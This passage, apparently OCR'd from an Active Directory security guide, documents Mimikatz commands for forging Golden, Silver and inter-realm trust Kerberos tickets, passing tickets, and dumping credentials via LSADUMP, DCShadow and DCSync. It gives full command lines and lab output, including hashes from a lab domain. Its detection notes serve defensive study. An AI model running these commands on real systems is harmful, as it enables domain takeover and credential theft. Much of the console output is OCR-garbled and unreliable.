The capability of this command is based on the password hash type retrieved.

Type Requirement Scope
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Golden KRBTGT hash Domain/Forest
Silver Service hash Service

Domain/Forest -> Domain/Forest
Trust Trust hash
(based on account access)

Golden Ticket

A Golden Ticket is a TGT using the KRBTGT NTLM password hash to encrypt and sign.

A Golden Ticket (GT) can be created to impersonate any user (real or imagined) in the domain as a member of any
group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain.
Since the Golden Ticket is an authentication ticket (TGT described below), its scope is the entire domain (and the
AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources.
The Golden Ticket (TGT) contains user group membership information (PAC) and is signed and encrypted using
the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account.

To summarize, once an attacker gets access to the KRBTGT password hash, they can create Golden Tickets (TGT)

that provide access to anything in AD at any time.
Mimikatz Golden Ticket Command Reference:
The Mimikatz command to create a golden ticket is “kerberos::golden”

e /domain — the fully qualified domain name. In this example: “lab.adsecurity.org”.

e /sid — the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127".

 /sids — Additional SIDs for accounts/groups in the AD forest with rights you want the ticket to spoof.
Typically, this will be the Enterprise Admins group for the root domain “S-1-5-21-1473643419-
774954089-5872329127-519”. This parameter adds the provided SIDs to the SID History parameter.

e /user — username to impersonate

e /groups (optional) — group RIDs the user is a member of (the first is the primary group).
Add user or computer account RIDs to receive the same access.
Default Groups: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

e /krbtgt — NTLM password hash for the domain KDC service account (KRBTGT). Used to encrypt and sign
the TGT.

e /ticket (optional) — provide a path and name for saving the Golden Ticket file to for later use or use /ptt to
immediately inject the golden ticket into memory for use.

» /ptt— as an alternate to /ticket — use this to immediately inject the forged ticket into memory for use.

« /id (optional) — user RID. Mimikatz default is 500 (the default Administrator account RID).

 /startoffset (optional) — the start offset when the ticket is available (generally set to —10 or 0 if this option is
used). Mimikatz Default value is 0.

 /endin (optional) — ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active
Directory default Kerberos policy setting is 10 hours (600 minutes).
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e /renewmax (optional) — maximum ticket lifetime with renewal. Mimikatz Default value is 10 years
(~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

* /sids (optional) — set to be the SID of the Enterprise Admins group in the AD forest
([ADRootDomainSID]-519) to spoof Enterprise Admin rights throughout the AD forest (AD admin in

every domain in the AD Forest).
e /aes128 —the AES128 key
» /aes256 —the AES256 key

Golden Ticket Default Groups:

¢ Domain Users SID: S-1-5-21<DOMAINID>-513

e Domain Admins SID: S-1-5-21<DOMAINID>-512

e Schema Admins SID: S-1-5-21<DOMAINID>-518

» Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (this is only effective when the forged ticket is
created in the Forest root domain, though add using /sids parameter for AD forest admin rights)

e Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

kerberos::golden /admin: ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID
/sid:DOMAINSID /krbtgt: KRBTGTPASSWORDHASH /ptt

Command Example:

\mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-
135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600
/renewmax: 10080 /ptt” exit

mimikatz (commandllne) # kerberos::golden ~admin:DarthUader ~sdomain:lab.adsecurity.org ~id:2681 rsid:=5-1-5-21-1387203482—
rhtgt:8aZ2fladcdd51?2a2e515780021d2d178a sstartoffset:B rendin:hBB renewmax:18B888 ~ptt

;ﬁ—ii—i:i87263482—2957264255—828993924

512 528 518 519
ServiceKey: BaZfladcdd51%a2e515788021d2d178a — r»rc4_hmac_nt
Lifetime : 3-12-2015 9?:44:88 PM ; 3-13-2015% 7:44:88 AM ; 31920815 9?:44:88 PM
—> Ticket : =x Pass The Ticket ==

* PAC generated

* PAC signed

* EnclicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for ’‘DarthUader B lab.adsecurity.org’ successfully submitted for current session

mimikatz<{commandline> # exit
yet
PSS C:sUserssJoelser> klist

Current Logonld is B:Bxdac83
Cached Tickets: (1>

Ha> Client:
Server: N : .ad“ecullty oryg
KerhTicket Encxyptlon Type RSRDSI RC4-HMACCNT >
Ticket Flags Bx4dedBBBA —> forwardable renewabhle initial pre_authent
Start Time: 3122015 21:44:88 (local’
End Time: 3132015 7:44:88 (locald>
Renew Time: 3192015 21:44:88 (local’>
Session Key Type: RSADSI RC4-HMACCNT >

PS C:\Users~Joelser> net use ““adsdcB2.lab.adsecurity.orghciswindowssntds
he command completed successfully.

er> whoami

dseclabsjoeuser
e e

Golden Ticket References:

* Golden Tickets are now More Golden (with SID History)
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Updatel/5/2016:

In early January 2015, I shared with customers indicators for detecting forged Kerberos tickets and subsequently
presented this information at BSides Charm 2015. Soon after, Mimikatz was updated with a domain field that was
set to static values, usually containing the string “eo.oe”. As of the Mimikatz update dated 1/5/2016, forged
Kerberos tickets no longer include a domain anomaly since the netbios domain name is placed in the domain

component of the Kerberos ticket.

Mimikatz code diff:
KIWI NEVERTIME(&validationInfo.PasswordMustChange);
- RtlInitUnicodeString(&validationInfo.lLogonDomainName, L"<3 eo.oe ~ ANSSI E>");
+ RtlInitUnicodeString(&validationInfo.lLogonDomainName, LogonDomainName);

More information on the difficulty of detecting forged Kerberos tickets (Golden Tickets, Silver Tickets, etc) in the

in the Detecting Forged Kerberos Tickets section.

Silver Ticket

A Silver Ticket is a TGS (similar to TGT in format) using the target service account’s (identified by SPN
mapping) NTLM password hash to encrypt and sign.
The Mimikatz command to create a silver ticket is “kerberos::golden” (yes, you run ‘golden’ to create silver

tickets).

Mimikatz Silver Ticket Command Reference:

e /domain — the fully qualified domain name. In this example: “lab.adsecurity.org”.

e /sid — the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127".

e /sids — Additional SIDs for accounts/groups in the AD forest with rights you want the ticket to spoof.
Typically, this will be the Enterprise Admins group for the root domain “S-1-5-21-1473643419-
774954089-5872329127-519”. This parameter adds the provided SIDs to the SID History parameter.

e /user — username to impersonate

e /groups (optional) — group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

 /ticket (optional) — provide a path and name for saving the forged ticket file to for later use or use /ptt to
immediately inject the golden ticket into memory for use.

e /ptt — as an alternate to /ticket — use this to immediately inject the forged ticket into memory for use.

e /id (optional) — user RID. Mimikatz default is 500 (the default Administrator account RID).

» /startoffset (optional) — the start offset when the ticket is available (generally set to —10 or 0 if this option is
used). Mimikatz Default value is 0.

 /endin (optional) — ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active
Directory default Kerberos policy setting is 10 hours (600 minutes).

e /renewmax (optional) — maximum ticket lifetime with renewal. Mimikatz Default value is 10 years
(~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

e /aes128 — the AES128 key

e /aes256 — the AES256 key

Page 21 of 79


https://github.com/gentilkiwi/mimikatz
https://github.com/gentilkiwi/mimikatz/commit/fbb32cdcfa688892ab91b98044c453414193bb74#diff-60c3d6f46631121e0d6f97c2a2e143c9R602
https://github.com/gentilkiwi/mimikatz/commit/fbb32cdcfa688892ab91b98044c453414193bb74#diff-60c3d6f46631121e0d6f97c2a2e143c9R602
https://adsecurity.org/wp-content/uploads/2015/05/GT-DomainFieldUpdate-20150105.jpg
https://adsecurity.org/wp-content/uploads/2015/05/GT-DomainFieldUpdate-20150105.jpg
https://adsecurity.org/?p=1515#DetectingForgedKerberosTickets
https://adsecurity.org/?p=1640

https://adsecurity.org/?page_id=1821

Silver Ticket Required Parameters:

o /target — the target server’s FQDN.
 /service — the kerberos service running on the target server. This is the Service Principal Name class (or
type) such as cifs, http, mssql.

e /rc4 —the NTLM hash for the service (computer account or user account)
Silver Ticket Default Groups:

e Domain Users SID: S-1-5-21<DOMAINID>-513

e Domain Admins SID: S-1-5-21<DOMAINID>-512

Schema Admins SID: S-1-5-21<DOMAINID>-518

o Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (this is only effective when the forged ticket is
created in the Forest root domain, though add using /sids parameter for AD forest admin rights)

e Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

Example Mimikatz Command to Create a Silver Ticket:

The following Mimikatz command creates a Silver Ticket for the CIFS service on the server
adsmswin2k8r2.1ab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer
account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain
dump or by running Mimikatz on the local system as shown above (Mimikatz “privilege::debug”
“sekurlsa::logonpasswords” exit). The NTLM password hash is used with the /rc4 paramteer. The service SPN
type also needs to be identified in the /service parameter. Finally, the target computer’s fully-qualified domain

name needs to be provided in the /target parameter. Don’t forget the domain SID in the /sid parameter.

mimikatz “kerberos::golden /admin:LukeSkywalker /id: 1106 /domain:lab.adsecurity.org /sid:S-1-5-21-
1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org
/rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

mimikatz (commandline> # kerberos::golden admin:LukeSkywalker ~domain:LAB.ADSECURITY.ORG ~id:2681 rsid:5-1-5-21-1387283
18 g 4 + 4 _starget:adsmsapphl.lab.adsecurity.orgy Arcd:d4423c76e3fb6Beedch51a%a22dcacess sservice:cifs /ptt

Eﬂilllliﬂlﬂﬂﬁﬁﬁﬂﬂﬂlﬁﬂﬂ
T LAB.AD URITY . ORG
8 ggé—S—Zl—l38?233482—295?264255—828993924
: =513 512 528 518 519
R 4 be3fbdeed a?a22dcaceSh — rc4 _hmac_nt
s;sappﬁl.lah.adsecurity.org
g ET 8 B-37:93 I » W25 6:39:43 PM ; 3-22,2825 6:3%9:43 PM
Ticket : %% Pass The Ticket ==
PAC generated
PAC signed
EncTicketPart generated

EncTicketPart encrypted
KrhCred generated

Golden ticket for ’LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted for current session

*
*
*
-
-

mimikatz{commandline> # exit
Bug *

PS C:stemprmimikatz? net use ““adsmsapp#l.lab.adsecurity.orgsadmin
The command completed successfully.

PSS C:stempsmimikatz?> whoami
qqsgclah\joeuser

Trust Ticket

Once the Active Directory Trust password hash is determined (Mimikatz “privilege::debug” “lsadump::trust

[patch” exit), a trust ticket can be generated.
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More background on Trust Tickets.

Forging Internal AD Forest Trust Tickets
In this example, Trust tickets leverage two additional tools Benjamin Delpy wrote called AskTGS and Kirbikator.
Step 1: Dumping trust passwords (trust keys)

Current Mimikatz versions can extract the trust keys (passwords).

* Mimikatz “privilege::debug” “lsadump::trust /patch” exit

ne} & privilege: :debug

Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz

Forge the trust ticket which states the ticket holder is an Enterprise Admin in the AD Forest (leveraging
SIDHistory, “sids”, across trusts in Mimikatz, my “contribution” to Mimikatz). This enables full administrative
access from a child domain to the parent domain. Note that this account doesn’t have to exist anywhere as it is

effectively a Golden Ticket across the trust.
The Mimikatz command to create a trust ticket is “kerberos::golden”

e /domain — the fully qualified domain name. In this example: “lab.adsecurity.org”.
e /sid — the SID of the domain. In this example: “S-1-5-21-3677078698-724690114-1972670770”.
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e /sids — Additional SIDs for accounts/groups in the AD forest with rights you want the ticket to spoof.
Typically, this will be the Enterprise Admins group for the root domain “S-1-5-21-1581655573-
3923512380-696647894-519”. This parameter adds the provided SIDs to the SID History parameter.

e /user — username to impersonate

 /groups (optional) — group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

 /ticket (optional) — provide a path and name for saving the forged ticket file to for later use or use /ptt to
immediately inject the golden ticket into memory for use.

e /ptt— as an alternate to /ticket — use this to immediately inject the forged ticket into memory for use.

« /id (optional) — user RID. Mimikatz default is 500 (the default Administrator account RID).

 /startoffset (optional) — the start offset when the ticket is available (generally set to —10 or 0 if this option is
used). Mimikatz Default value is 0.

 /endin (optional) — ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active
Directory default Kerberos policy setting is 10 hours (600 minutes).

e /renewmax (optional) — maximum ticket lifetime with renewal. Mimikatz Default value is 10 years
(~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

e /aes128 —the AES128 key

e /aes256 —the AES256 key

Trust Ticket Specific Required Parameters:

o /target — the target domain’s FQDN.

e /service — the kerberos service running in the target domain (krbtgt).

e /rc4 —the NTLM hash for the service kerberos service account (krbtgt).

e /ticket — provide a path and name for saving the forged ticket file to for later use or use /ptt to immediately

inject the golden ticket into memory for use.
Trust Ticket Default Groups:

e Domain Users SID: S-1-5-21<DOMAINID>-513

e Domain Admins SID: S-1-5-21<DOMAINID>-512

e Schema Admins SID: S-1-5-21<DOMAINID>-518

e Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (this is only effective when the forged ticket is
created in the Forest root domain, though add using /sids parameter for AD forest admin rights)

e Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770
/sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd
/user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi”

exit

Note: Using the /sids parameter will create a trust ticket for the target AD domain that says the holder is an

Enterprise Admin.
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FE C:utemp® tenpninikatz Himikatz "Heph nmain s -1a 3 ity.org Seid:5-1-5-21-3677878678—
724698114 1? b gy | 1-1581 512 U 6766478 : 165 G/ £ d aB2386fd r & Dar
htgt Starget: lab.ads irity.ory Sticket:ie:ivtem e tsEf— ﬁﬂ“FClnR“HT[D kivrhi" exit

mimikatz 2.8 alpha (x64) release "Kiwi en C" <(Aug 25 2815 11:38:54>

P
Ain DELPY ‘gentilki “ JaminBgent ilkivi.con )
‘hlog.gentilkivi.col J

with 16 modules = w =

8-1-5-21-3677B7RAIR-724690114-19726 787780
fﬂt.-lelaBZHH'd suger:Dartadear ~zervicekrbt

]ll 51
73

b 9:15:32 PH

Final Ticket Saved to file ?

mimikatz{commandline’ H exit
Bye !

NOTE: Mimikatz generates Silver Tickets with a hard-coded domain value which may appear in some events. It’s

also likely the domain field in logon/logoff events relating to a forged ticket will have anomalies when compared

to valid Kerberos authentication.

Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination
domain. Save the TGS to a file.

The resulting TGS provides EA access to the parent (root) domain’s Domain Controller by targeting the CIFS

service in this example (but it could target any).

Asktgs c:\temp\tickets\EA-ADSECLABCHILD.kirbi CIFS/ADSDCO02.lab.adsecurity.org

5 Cistemphhkeksol .M shtgﬁ cintenphtickets“ER-ADEECLABCHILD . kirbi CIFE/RDSDCBE . lab.adsecurity.oryg
.:““H#. AzkTGE Herberos client 1.8 {xB6) release "Kiwi en C" {Apr 19 2815 BB:51:37>
“Cg
‘gentilkiwi® ¢ benjaninPgentilkiwi.com »
i Coe.end
- o Wy
ciwtempstickets“EA—-ADEECLABCHILD. kivhi

btgt ~ lab.a curity.org B child. lab.adsecurity.oryg
Darthllader B child. lab.adsecurity. .oy

. lab.adsecurity.org.kirhi®

Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights.

Kirbikator Isa c:\temp\tickets\CIFS.ADSDCO02.lab.adsecurity.org.kirbi

L‘:‘-t.-!-‘nr-‘wkciu:-'? SsHirbikator lsa cistenpsticket IFE.ADEDCAZ . lab. adsecurity.org. kirbi
Iltlltg KiRBikator 1.8 ¢(xB6> releaze "Kiwi en C" {Apr 19 2615 BB:51:33>
.
‘gentilkiwi® ¢ benjanidPgentilkiwi.com 3

“hlog.gentilkivi.con Coe.eo)
-

t LE8A API {multiplel
i E ecurity.org.ki ¢RFC KRB-CRED <# ]
y.org=CIF DEnC lab.adsecurity.orgBPLABR.ADSECURITY .ORG : injected

lab.adsecurity.orghadning
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KERBEROS::Hash — hash password to keys

KERBEROS::List — List all user tickets (TGT and TGS) in user memory. No special privileges required since it
only displays the current user’s tickets.

Similar to functionality of “klist”.
e /export — export user tickets to files.

Use SEKURLSA::TICKETS to dump Kerberos tickets for all authenticated users on the system.

Note that there are circumstances where the user certificates won’t export. This requires running

SEKURLSA::Tickets /export (with appropriate privileges).

015 6:46:57 PM

rver Mame 3 q ). AD ELURIT? GRG RD.ADSE&URITY.GRG

Client Mame : Admin . CURITY.O
Flags 4010000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

KERBEROS::PTC — pass the cache (NT6)
*Nix systems like Mac OS, Linux,BSD, Unix, etc cache Kerberos credentials. This cached data can be copied off

and passed using Mimikatz. Also useful for injecting Kerberos tickets in ccache files.

A good example of Mimikatz’s kerberos::ptc is when exploiting MS14-068 with PyKEK. PyKEK generates a

ccache file which can be injected with Mimikatz using kerberos::ptc.

H '\Tr:mu“’c \temphpykek\ms 14-068.py -u joeuser@lab.adsecurity.org -p Password99! -s §-1-5-21-1581655573-3923512380-696647894-2634 -d adsdc@?. lab.adsecun

[+J Emldmg 4S-REQ for adsdc@Z.lab.adsecurit
ending AS-REQ to adsdc@Z, lab.adsecurity

d 2. 1ab, adsecuri

g y lab.adsecurit :

ilding lab.adsecurity.or

Sendlng TGS- RE“ tc adsdct

Receiving T1G5-REP +r'om 3ds

Parsing TGS-REP from ads ab.adsecurity.org...

Creating ccache file 'TGT_joeuser@lab.adsecurity.org.ccache’... Done!

NTemprc:Ntempimimikatz\mimikatz.exe

mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 25 2015 11:3@:54)

Bemamm DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.con/mimikatz ce.ea)
with 16 modules ¥ ¥ %/

mimikatz # kerberos::ptc c:Ntemp\TGT_joeuser®lab,adsecurity.org.ccache
Principal : (81) : joeuser ; @ LAB,ADSECURITY.ORG

Data @
Start/End/MaxRenew: 12,30 143:57 PM_; 12/30/2015 11:43:57 PM ; 1/6/2016 1:43:57 PM
Service Name (@1) : krbt URITY. CRG B LA SECL IT‘r ORG
Target Name i URIT A
Client Name (@1) : ADSECURI C
Flags S0aG0aea PP uthent ; renewable ; F‘I'DXLEIb].E i forwardable ;
Session Key 3k rcd_hmac_nt

87ct c28eaddb362f
 0x0000000Q - null
# Injecting ticket : OK

mimikatz # exit
Bye!

KERBEROS::PTT - pass the ticket

After a Kerberos ticket is found, it can be copied to another system and passed into the current session effectively

simulating a logon without any communication with the Domain Controller. No special rights required.
Similar to SEKURLSA::PTH (Pass-The-Hash).
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 /filename — the ticket’s filename (can be multiple)

o /diretory — a directory path, all .kirbi files inside will be injected.

tt [03 28dea] 2| B EBaIBBBB LukeSk ualker@krht t— LHB ADSECURITY . ORG Jkirbi

mimikatz(commandline? # exit
Bye !
PS5 C:stemphm> klist

Current Logonld is B:8x2b3d7
Cached Tickets: (1)

Client: LukeSkywalker @ LAB_ADSECURITY.ORG
Seruer: ]ﬂ-ht t/LFIB I’IDSECURIT&' ORG B LAB. I’IDSECURIT&' ORG

ic Upe

Tlcket Flag.. Bxﬁﬂaiﬂﬁﬂﬂ ) ful-ual-dahle {-'nl-ual-ded 1-eneuahle pre_authent name_canonicalize
Start Time: 6262015 22:27:22 {(local>

End Time: 6-27-2015 8:27:22 (locall

Renew Time: ?/3-,2015 22:27:22 C(local>

Session Key Type: AES-256-—CTS-HMAC-SHA1-96

KERBEROS::Purge — purge all Kerberos tickets
Similar to functionality of “klist purge”. Run this command before passing tickets (PTC, PTT, etc) to ensure the

correct user context is used.

mimikatz(commandline) # kerberos::Tist

3 4 hrnac nt
start /En C G:46:57 PM ; 9/15/2015 4:46:57 AM ;
Server Name : ). ) CURITY.ORG RD. ADSECURITY. ORG
Client Mame : -u:lrrn n @ RD.ADSECURITY.O
Flags 4010000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

# kerberos::purge
purge Tor current

: TGT of current
art,/End/M ) 42015 6:49:4 ; 915/ 4:49:41 AM ; 9/21/2015 6:49:41 PM
i ) ¢ ). AD ECURITY. OF".G

arget MName
Client Mame (01) :
F1 )&l 0000 3 nime canonic: ze ; pre_authent ; initial ; renewable ; T dable ;
: n Key + O 000000 - rcd_hmac_nt

00000000000000000000000000000000
Ticket : 000000017 - rcd_hmac_nt ; kwvno = 0

on key is NULL! It means allowtgtsessionkey is not set to 1

LSADUMP

The LSADUMP Mimikatz Module interacts with the Windows Local Security Authority (LSA) to extract
credentials. Most of these commands require either debug rights (privlege::debug) or local System. By default, the
Administrators group has Debug rights. Debug still has to be “activated” by running “privilege::debug”.

LSADUMP:Backupkeys

Requires Administrator rights.
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mimikatz # lsadump: :backupkeys

urrent prefered key: {0982cbb4-f37d-4b66-99d3-TcefTeddBasc}

wrtable key : YES
Key si1ze : 2048

umpat1h111t} prefered key: {feffld97-d76b-499T-aZec-e2382b99cbBal

; i.GddEdEHCHEEdHGiCjHHdGi.ifiii 366T6
8dc7279c3edldsas CleldGliiCEhrﬂ2E94D4h635EG 905 cl1zal0fe0alddzdz4
EEIEC091E3EELUC4b513CdEijlle Jcecadl800ach668d82dB54aBacy
Fed2299T 0608207 444 ab7 90bceed51cbdceda7 06249 as
1251jffaL.2ba4c“bub- 322583dc5c9l6ats33ar7odddellf455836c149Fa
119644750403b3495dT5 2ced0d0bcz359b4 8445 8c815 ce8bas eb36bad3 cddblo

LSADUMP::Cache — Get the SysKey to decrypt NL$KM then MSCache(v2) (from registry or hives)

Requires Administrator rights.

m1m1P3t" # 1sadump: :cache
ad366ef5c9b1370d241657

Local name : AB [ -3017930946-1529 08-4271689233)
Domain name : 996962-4185 166 6909401 )

. defanlt {91cbbc93-b740-4665-chf4-90bdd79a5202}
bcd3-b740-4665-ch4-30bdd79a5202} 1164ba71bTF34c94b54F28b69b18F913FFhob113coblFe355d4fa0155 7aceald

= Iteration 1s set to default (10240)

LSADUMP::ChangeNTLM — Ask a server to set a new password/ntlm for one user.

LSADUMP::DCShadow — Push replication changes to a Domain Controller. Read more at DCShadow.com.
This requires full AD admin rights or KRBTGT pw hash.

DCShadow temporarily sets the computer to be a “DC” for the purposes of replication:

e Creates 2 objects in the AD forest Configuration partition.

e Updates the SPN of the computer used to include “GC” (Global Catalog) and “E3514235-4B06-11D1-
AB04-00C04FC2DCD2” (AD Replication). More info on Kerberos Service Principal Names in the
ADSecurity SPN section.

e Pushes the updates to DCs via DrsReplicaAdd and KCC.

e Removes the created objects from the Configuration partition.
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mimikatz # lsadump::dcshadow /object=krbtgt /attribute=ntPwdHistory /v
000000000

** pomain Info **

Domain: DC=labl2,DC=adsecurity,DC=0rg

configuration: CN=Configuration,Dc=1ab12,DC=adsecurity,DC=0rg

Schema: CN=Schema,CN=Configuration,DC=1abl2,DC=adsecurity,DC=0
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Con
domaincontrollerFunctionality: 6 ( WIN2012R2 )

highestCommittedUsN: 82058

HET ol
ww W

server Info

server: adsecl2dcl.labl2.adsecurity.org
InstanceId : {0b29d8b2-8ee4-405c-abac-cha445chc36b}
InvocationId: {010ed8f9-09cc-4b78-8d98-0a26eb3215¢c6}
Fake server (not already registered): TotesNotADC.labl2.adsecurity.org

e
™

Attributes checking **
#0: ntPwdHistory
i obj ects *¥*

#0: krbtgt
DN:CN=krgtgt,CN=Users,Dc=1ab12,DC=adsecur1ty,DC=org
nthdHistorE (1.2.840.113556.1.4.94-9005¢e rev 2):
86e95878eb25a010372be03e6d3665230000000000000000000000
(86e95878eb25a010372be03e6d3665230000000000000000000000)

el
C

*% starting server

Bindstring[0]: ncacn_ip_tcp:TotesNotADC[63861]
RPC bind registered

RPC Server 1s waiting!

Press control+C to stop ==

LB mimikatz 2.1.1 (x64) built on Feb 5 2018 02:08:38
VH#E AN ##. "A La Vie, A L'Amour” - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi  ( benjamin@gentilkiwi.com )
#H O\ / ## > http://b]og.genti]kiwi.com/mimi&atz
T##E v ##' vincent LE TOUX ( vincent.letoux@gmail.com )
o > http://pingcastle.com / http://mysmartlogon.com wkk S

mimikatz # lsadump::dcshadow /push

pDomain Info

DC=1abl2,DC=adsecurity,DC=org

CN=Configuration,DC=1ab12,DC=adsecurity,DC=0rg

CN=Schema ,CN=Configuration,DC=1abl2 ,DC=adsecurity,DC=or
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=1abl2,6DC=adsecurity,DC=org
domainControllerFunctionality: 6 ( WIN2012R2 )
highestCommittedUsN: 82097

server Info

Server: adsecl2dcl.labl2.adsecurity.org
InstanceId : {0b29d8b2-8ee4-405c-abac-cha445chc36hb}
InvocationId: {010ed8f9-09cc-4b78-8d98-0a26eb3215c6}
Fake server (not already registered): TotesNotADC.labl2.adsecurity.org

Performing Registration
* performing Push **

Syncing DC=labl2,DC=adsecurity,DC=org
Sync Done

Performing Unregistration
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Temporary DC object in the Configuration partition
PS C:\> dir AD:'CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=1abl2,DC=adsecurity,DC=org’

Name ObjectcClass DistinguishedName
adsecl2dcl server CN=adsecl2dcl, CN=Servers,CN=Default-First-5ite-Name,CN=Sites,CN=Configurat
ADSEC12RODC1L server CN=ADSEC12RODC1,CN=Servers,CN=Default-First-Site-Name,CN=S1ites,CN=Configur

PS C:\> dir AD:'CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=1abl2,DC=adsecurity,DC=org’

Name ObjectcClass DistinguishedName

server CN=adsecl2dcl, CN=Servers,CN=Default-First-5ite-Name,CN=Sites,CN=Configurat
ADSEC12RODC1L server CN=ADSEC12RODC1,CN=Servers,CN=Default-First-Site-Name,CN=S1ites,CN=Configur
OTESNOTADC server CN=TOTESNOTADC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configura

LSADUMP::DCSync — ask a DC to synchronize an object (get password data for account)

Requires membership in Domain Administrator, domain Administrators, or custom delegation.

A major feature added to Mimkatz in August 2015 is “DCSync” which effectively “impersonates” a Domain
Controller and requests account password data from the targeted Domain Controller. DCSync was written by
Benjamin Delpy and Vincent Le Toux. As of Mimikatz version 2.1 alpha 20160501, DCSync works with renamed

domains.

The exploit method prior to DCSync was to run Mimikatz or Invoke-Mimikatz on a Domain Controller to get the
KRBTGT password hash to create Golden Tickets. With Mimikatz’s DCSync and the appropriate rights, the
attacker can pull the password hash, as well as previous password hashes, from a Domain Controller over the

network without requiring interactive logon or copying off the Active Directory database file (ntds.dit).

Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins
as well as Domain Controller computer accounts are able to run DCSync to pull password data. Note that Read-

Only Domain Controllers are not only allowed to pull password data for users by default.
How DCSync works:

1. Discovers Domain Controller in the specified domain name.
2. Requests the Domain Controller replicate the user credentials via GetNCChanges (leveraging Directory,

Replication Service (DRS) Remote Protocol)

I have previously done some packet captures for Domain Controller replication and identified the intra-DC

communication flow regarding how Domain Controllers replicate.
The Samba Wiki describes the DSGetNCChanges function:

“The client DC sends a DSGetNCChanges request to the server when the first one wants to get AD objects

updates from the second one. The response contains a set of updates that the client has to apply to its NC replica.

When a DC receives a DSReplicaSync Request, then for each DC that it replicates from (stored in RepsFrom data
structure) it performs a replication cycle where it behaves like a client and makes DSGetNCChanges requests to

that DC. So it gets up-to-date AD objects from each of the DC’s which it replicates from.”
DCSync Options:

e /all — DCSync pull data for the entire domain.
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e /user —user id or SID of the user you want to pull the data for.

e /domain (optional) — FQDN of the Active Directory domain. Mimikatz will discover a DC in the domain to
connect to. If this parameter is not provided, Mimikatz defaults to the current domain.

e /csv — export to csv

e /dc (optional) — Specify the Domain Controller you want DCSync to connect to and gather data.
There’s also a /guid parameter.
DCSync Command Examples:

Pull password data for the KRBTGT user account in the rd.adsecurity.org domain:

Mimikatz “Isadump::dcsync /domain:rd.adsecurity.org /user:krbtgt” exit

Pull password data for the Administrator user account in the rd.adsecurity.org domain:

Mimikatz “Isadump::dcsync /domain:rd.adsecurity.org /user:Administrator” exit

Pull password data for the ADSDCO03 Domain Controller computer account in the lab.adsecurity.org domain:

Mimikatz “Isadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$” exit

mandline) # lIsadump::dcsync fdomain:rd.adsecurity.org fuser:Administrator
ecurity.org’ will be the domain
ABDCO1. rd. adsecurity.org’ will be the DC server

Administrator’ will be the user account
Object RDM : Administrator
== SAM ACCOUNT *=

M Username : Administrator
Account Type : 30000000 ( USER_OBJIECT )
User Account Control : 00000200 ( MORMAL_ACCOUNT )
f t expiration
d last change : :
Security ID = 2 6962-4185 87946 5909401-500
Object Relative ID

Credentials:
[ E
ntlm-
ntim-— 1:
ntlm- 2: i azf48f045
Im - 0: 6cfd3cibcc30b3fes 1uTeT10T4be4H
Im - 1: di726cc03fbl43869304ced3T30Fdbad

Supplemental Credentia

Default Salt : RD.! inistrator
Default Tterations : 4096
Credentials
J (4096) : 23 41'5301"-'br_[rh bfc610e5d845e78638deacl42e3674af58a674b67e102h
aesl? (409 - D 7od418atabfzb2
des cbc md‘ (409
rcd_plain (4096) : 86a205b6863a3co55T
0ldCredentials

2090d03f0ealedf681laae5ae591e2d9c27ead3c3i3z2
3 ifeeed?edd48alde

des cbchdE ! 3
rcd_plain (4096) : Elu4b a0fda365ds 67

LSADUMP::LSA — Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use
/patch for a subset of data, use /inject for everything. Requires System or Debug rights.

e /inject — Inject LSASS to extract credentials

e /name — account name for target user account
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e /id — RID for target user account
